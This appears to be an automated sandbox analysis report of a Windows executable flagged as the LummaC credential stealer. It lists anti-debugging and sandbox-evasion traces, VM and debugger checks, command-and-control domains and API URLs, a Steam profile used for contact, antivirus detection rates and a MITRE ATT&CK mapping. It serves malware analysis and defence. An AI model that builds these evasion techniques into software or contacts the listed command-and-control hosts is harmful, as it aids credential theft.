Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF0845 second address: EF0849 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF0849 second address: EF085E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c pushad 0x0000000d jp 00007F3C25696DA6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF085E second address: EF0868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF0B53 second address: EF0B9B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3C25696DC3h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 je 00007F3C25696DA6h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F3C25696DB1h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF0B9B second address: EF0BA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF0D08 second address: EF0D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF0D0C second address: EF0D10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF4248 second address: EF424C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF424C second address: EF427E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push edi 0x0000000a jmp 00007F3C24EA6E4Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3C24EA6E56h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF427E second address: EF4282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF43DE second address: EF43E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF43E2 second address: EF43E8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF43E8 second address: EF43ED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF43ED second address: EF43F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF43F3 second address: EF4400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF4400 second address: EF440A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F3C25696DA6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF440A second address: EF4420 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F3C24EA6E50h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF4420 second address: EF4425 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF4425 second address: EF442B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF690F second address: EF6919 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EF6919 second address: EF691D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EFAAF1 second address: EFAB09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C25696DB2h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: EFAB09 second address: EFAB13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3C24EA6E46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F02A1F second address: F02A23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F02A23 second address: F02A2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F06516 second address: F06520 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3C25696DA6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F06520 second address: F06526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F06526 second address: F0653A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C25696DB0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F0653A second address: F06547 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3C24EA6E46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F04CD5 second address: F04CEF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F3C25696DB4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F04CEF second address: F04CF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F157BA second address: F157BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F157BF second address: F157C9 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3C24EA6E4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F15933 second address: F15939 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F2B57C second address: F2B58F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d jl 00007F3C24EA6E46h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F2B6CE second address: F2B6F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F3C25696DADh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F3C25696DB3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F2B6F8 second address: F2B6FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F2B6FC second address: F2B704 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F2B704 second address: F2B709 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F2B862 second address: F2B86D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F2B86D second address: F2B897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3C24EA6E58h 0x00000009 jl 00007F3C24EA6E46h 0x0000000f popad 0x00000010 pop ecx 0x00000011 pushad 0x00000012 pushad 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F2B897 second address: F2B89D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F2C0EF second address: F2C10E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3C24EA6E58h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F2C10E second address: F2C11C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C25696DAAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F306CE second address: F306EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3C24EA6E56h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F306EB second address: F3074B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3C25696DB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push esi 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop esi 0x00000013 nop 0x00000014 jmp 00007F3C25696DB6h 0x00000019 mov dword ptr [ebp+122D1BEBh], eax 0x0000001f push 00000004h 0x00000021 mov edx, dword ptr [ebp+122D29E2h] 0x00000027 push 7EA4F7C6h 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F3C25696DADh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F3074B second address: F30751 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F321D5 second address: F321D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	RDTSC instruction interceptor: First address: F33D58 second address: F33D5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Special instruction interceptor: First address: E477DC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Special instruction interceptor: First address: E45F65 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Special instruction interceptor: First address: E6E84C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Special instruction interceptor: First address: E56EB5 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\uZO96rXyWt.exe

Code function: 0_2_00CAB308 rdtsc

0_2_00CAB308

Source: C:\Users\user\Desktop\uZO96rXyWt.exe TID: 7872	Thread sleep time: -90000s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe TID: 7856	Thread sleep time: -30000s >= -30000s			Jump to behavior

Source: uZO96rXyWt.exe, uZO96rXyWt.exe, 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: uZO96rXyWt.exe, 00000000.00000002.1421711583.000000000092A000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1417118393.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.000000000092A000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: uZO96rXyWt.exe, 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\uZO96rXyWt.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\uZO96rXyWt.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\uZO96rXyWt.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\uZO96rXyWt.exe	File opened: NTICE
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	File opened: SICE
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\uZO96rXyWt.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\uZO96rXyWt.exe

Code function: 0_2_00CAB308 rdtsc

0_2_00CAB308

Source: C:\Users\user\Desktop\uZO96rXyWt.exe

Code function: 0_2_00C8C1F0 LdrInitializeThunk,

0_2_00C8C1F0

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: uZO96rXyWt.exe	String found in binary or memory: rapeflowwj.lat
Source: uZO96rXyWt.exe	String found in binary or memory: sustainskelet.lat
Source: uZO96rXyWt.exe	String found in binary or memory: crosshuaht.lat
Source: uZO96rXyWt.exe	String found in binary or memory: energyaffai.lat
Source: uZO96rXyWt.exe	String found in binary or memory: aspecteirs.lat
Source: uZO96rXyWt.exe	String found in binary or memory: discokeyus.lat
Source: uZO96rXyWt.exe	String found in binary or memory: necklacebudi.lat
Source: uZO96rXyWt.exe	String found in binary or memory: sweepyribs.lat
Source: uZO96rXyWt.exe	String found in binary or memory: grannyejh.lat

Source: uZO96rXyWt.exe, uZO96rXyWt.exe, 00000000.00000002.1422215005.0000000000E28000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: sProgram Manager

Source: C:\Users\user\Desktop\uZO96rXyWt.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Process Injection	24 Virtualization/Sandbox Evasion	OS Credential Dumping	641 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	24 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	4 Obfuscated Files or Information	NTDS	23 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
uZO96rXyWt.exe	53%	Virustotal		Browse
uZO96rXyWt.exe	53%	ReversingLabs	Win32.Trojan.Generic
uZO96rXyWt.exe	100%	Avira	TR/Crypt.XPACK.Gen
uZO96rXyWt.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
sustainskelet.lat	0%	URL Reputation	safe
crosshuaht.lat	0%	URL Reputation	safe
energyaffai.lat	0%	URL Reputation	safe
necklacebudi.lat	0%	URL Reputation	safe

Name	IP	Active	Malicious	Antivirus Detection	Reputation
steamcommunity.com	23.55.153.106	true	false		high
lev-tolstoi.com	104.21.66.86	true	false		high
sustainskelet.lat	unknown	unknown	true	0%, URL Reputation	unknown
crosshuaht.lat	unknown	unknown	true	0%, URL Reputation	unknown
rapeflowwj.lat	unknown	unknown	false		high
grannyejh.lat	unknown	unknown	false		high
aspecteirs.lat	unknown	unknown	false		high
sweepyribs.lat	unknown	unknown	false		high
discokeyus.lat	unknown	unknown	false		high
energyaffai.lat	unknown	unknown	true	0%, URL Reputation	unknown
necklacebudi.lat	unknown	unknown	true	0%, URL Reputation	unknown

Contacted URLs

Name	Malicious	Reputation
aspecteirs.lat	false	high
sweepyribs.lat	false	high
sustainskelet.lat	false	high
rapeflowwj.lat	false	high
https://steamcommunity.com/profiles/76561199724331900	false	high
energyaffai.lat	false	high
https://lev-tolstoi.com/api	false	high
grannyejh.lat	false	high
necklacebudi.lat	false	high
crosshuaht.lat	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://player.vimeo.com	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/?subsection=broadcasts	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/subscriber_agreement/	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.gstatic.cn/recaptcha/	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=hyEE	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.valvesoftware.com/legal.htm	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.youtube.com	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://grannyejh.lat:443/api	uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000970000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393656789.0000000000976000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008ED000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	uZO96rXyWt.exe, 00000000.00000003.1393856965.000000000092B000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.000000000093A000.00000004.00000020.00020000.00000000.sdmp	false	high
https://sustainskelet.lat:443/apiZOd)	uZO96rXyWt.exe, 00000000.00000003.1417006504.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1393699909.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000003.1420593570.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, uZO96rXyWt.exe, 00000000.00000002.1421390954.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	uZO96rXyWt.exe, 00000000.00000003.1416965515.0000000000981000.00000004.00000020.00020000.00000000.sdmp	false	high
